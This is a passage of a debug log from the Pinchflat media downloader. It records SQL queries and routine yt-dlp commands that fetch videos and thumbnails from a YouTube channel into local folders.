((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13] 21:02:01.864 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13] 21:02:01.864 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:02:01.864 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:01.864 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:01.864 [debug] Running yt-dlp command for action: get_downloadable_status 21:02:01.864 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:01.864 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:01.864 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:01.864 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZkiiyJYaXkQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/cb/48/cb48974112584af82a82a1e0a09f34596e1dec183a1c682eaef6a8e13aa2f041.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:02:03.448 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=palAzhniUBg --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/12/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/1a/c9/1ac9c75bb7840892f7adb346a956941a8e2457b3902313edf65b8c0433ca805f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:02:03.449 [debug] QUERY OK db=0.0ms idle=910.1ms begin [] 21:02:03.449 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:02:00Z], "/downloads/Last Meals/2024-03-14 Bert Kreischer Eats His Last Meal/Bert Kreischer Eats His Last Meal [palAzhniUBg].mp4", ~U[2026-03-28 01:02:03Z], 12] 21:02:03.450 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/12/metadata.json.gz", "/config/metadata/media_items/12/thumbnail.jpg", 12, ~U[2026-03-28 01:02:03Z], ~U[2026-03-28 01:02:03Z]] 21:02:03.450 [debug] QUERY OK db=0.0ms commit [] 21:02:03.451 [debug] QUERY OK source="media_items" db=0.7ms idle=392.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [381304354, ~U[2026-03-28 01:02:03Z], 12] 21:02:03.451 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:02:03.451 [info] {"args":{"id":12},"id":15,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":140427462,"event":"job:stop","queue_time":756023387,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:02:03.457 [info] {"args":{"id":14},"id":17,"meta":{},"system_time":1774659723457745296,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:02:03.457 [debug] QUERY OK source="media_items" db=0.0ms idle=400.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14] 21:02:03.458 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:02:03.458 [debug] QUERY OK source="sources" db=0.1ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:02:03.458 [debug] QUERY OK source="media_profiles" db=0.0ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:02:03.458 [debug] QUERY OK source="media_items" db=0.1ms idle=7.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14] 21:02:03.458 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14] 21:02:03.458 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:02:03.459 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:03.459 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:03.459 [debug] Running yt-dlp command for action: get_downloadable_status 21:02:03.459 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:03.459 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:03.459 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:03.459 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y7NoOqhQiUw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/43/96/439636cc4d58e1824079ef955525f6b94177b345abcc9ee9cdfa90eb6af4b8dc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:02:04.034 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZkiiyJYaXkQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/cb/48/cb48974112584af82a82a1e0a09f34596e1dec183a1c682eaef6a8e13aa2f041.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:02:04.034 [debug] Running yt-dlp command for action: download 21:02:04.034 [debug] QUERY OK source="settings" db=0.0ms idle=575.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:04.035 [debug] QUERY OK source="settings" db=0.0ms idle=575.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:04.035 [debug] QUERY OK source="settings" db=0.0ms idle=575.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:04.035 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZkiiyJYaXkQ --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8d/6a/8d6ae2bd990af3b82594e3706c9ad2f6e06cda4d186986596ba5e9c2127ca392.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:02:05.767 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y7NoOqhQiUw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/43/96/439636cc4d58e1824079ef955525f6b94177b345abcc9ee9cdfa90eb6af4b8dc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:02:05.767 [debug] Running yt-dlp command for action: download 21:02:05.767 [debug] QUERY OK source="settings" db=0.2ms idle=709.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:05.767 [debug] QUERY OK source="settings" db=0.0ms idle=710.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:05.767 [debug] QUERY OK source="settings" db=0.0ms idle=710.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:02:05.767 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y7NoOqhQiUw --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/84/65/8465d4418dcf818874b900b7c70d5777957a4040e5aabe7292f4ceec78f9b427.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:02:28.617 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:58.619 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.575 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:03:17.509 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y7NoOqhQiUw --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/84/65/8465d4418dcf818874b900b7c70d5777957a4040e5aabe7292f4ceec78f9b427.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:03:17.517 [debug] Running yt-dlp command for action: download_thumbnail 21:03:17.517 [debug] QUERY OK source="settings" db=0.0ms idle=1460.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:03:17.518 [debug] QUERY OK source="settings" db=0.0ms idle=1460.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:03:17.518 [debug] QUERY OK source="settings" db=0.0ms idle=1460.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:03:17.518 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y7NoOqhQiUw --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/14/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/aa/af/aaafef5fef3f6eb0d3bc13fa9f33117af8da8ca096402e6cb89f922095180da6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:03:19.861 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y7NoOqhQiUw --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/14/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/aa/af/aaafef5fef3f6eb0d3bc13fa9f33117af8da8ca096402e6cb89f922095180da6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:03:19.861 [debug] QUERY OK db=0.0ms idle=803.9ms begin [] 21:03:19.861 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:03:17Z], "/downloads/Last Meals/2022-01-11 Rhett Eats His Last Meal/Rhett Eats His Last Meal [Y7NoOqhQiUw].mp4", ~U[2026-03-28 01:03:19Z], 14] 21:03:19.864 [debug] QUERY OK source="media_metadata" db=2.6ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/14/metadata.json.gz", "/config/metadata/media_items/14/thumbnail.jpg", 14, ~U[2026-03-28 01:03:19Z], ~U[2026-03-28 01:03:19Z]] 21:03:19.871 [debug] QUERY OK db=6.8ms commit [] 21:03:19.874 [debug] QUERY OK source="media_items" db=2.5ms idle=814.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [243784968, ~U[2026-03-28 01:03:19Z], 14] 21:03:19.874 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:03:19.874 [info] {"args":{"id":14},"id":17,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":76416662,"event":"job:stop","queue_time":892457344,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:03:19.880 [info] {"args":{"id":15},"id":18,"meta":{},"system_time":1774659799880908492,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:03:19.881 [debug] QUERY OK source="media_items" db=0.1ms idle=200.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [15] 21:03:19.881 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:03:19.881 [debug] QUERY OK source="sources" db=0.1ms idle=9.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:03:19.881 [debug] QUERY OK source="media_profiles" db=0.0ms idle=7.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:03:19.882 [debug] QUERY OK source="media_items" db=0.1ms idle=7.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [15] 21:03:19.882 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [15] 21:03:19.882 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:03:19.883 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:03:19.883 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:03:19.883 [debug] Running yt-dlp command for action: get_downloadable_status 21:03:19.883 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:03:19.884 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:03:19.884 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:03:19.884 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ExEAhFIaNbA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4f/f7/4ff75b54ec1a338d9a211f33c5b25ed2c8b97ccb433803b12efc93b31233b160.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:03:22.745 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ExEAhFIaNbA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4f/f7/4ff75b54ec1a338d9a211f33c5b25ed2c8b97ccb433803b12efc93b31233b160.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:03:22.746 [debug] Running yt-dlp command for action: download 21:03:22.746 [debug] QUERY OK source="settings" db=0.0ms idle=1688.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 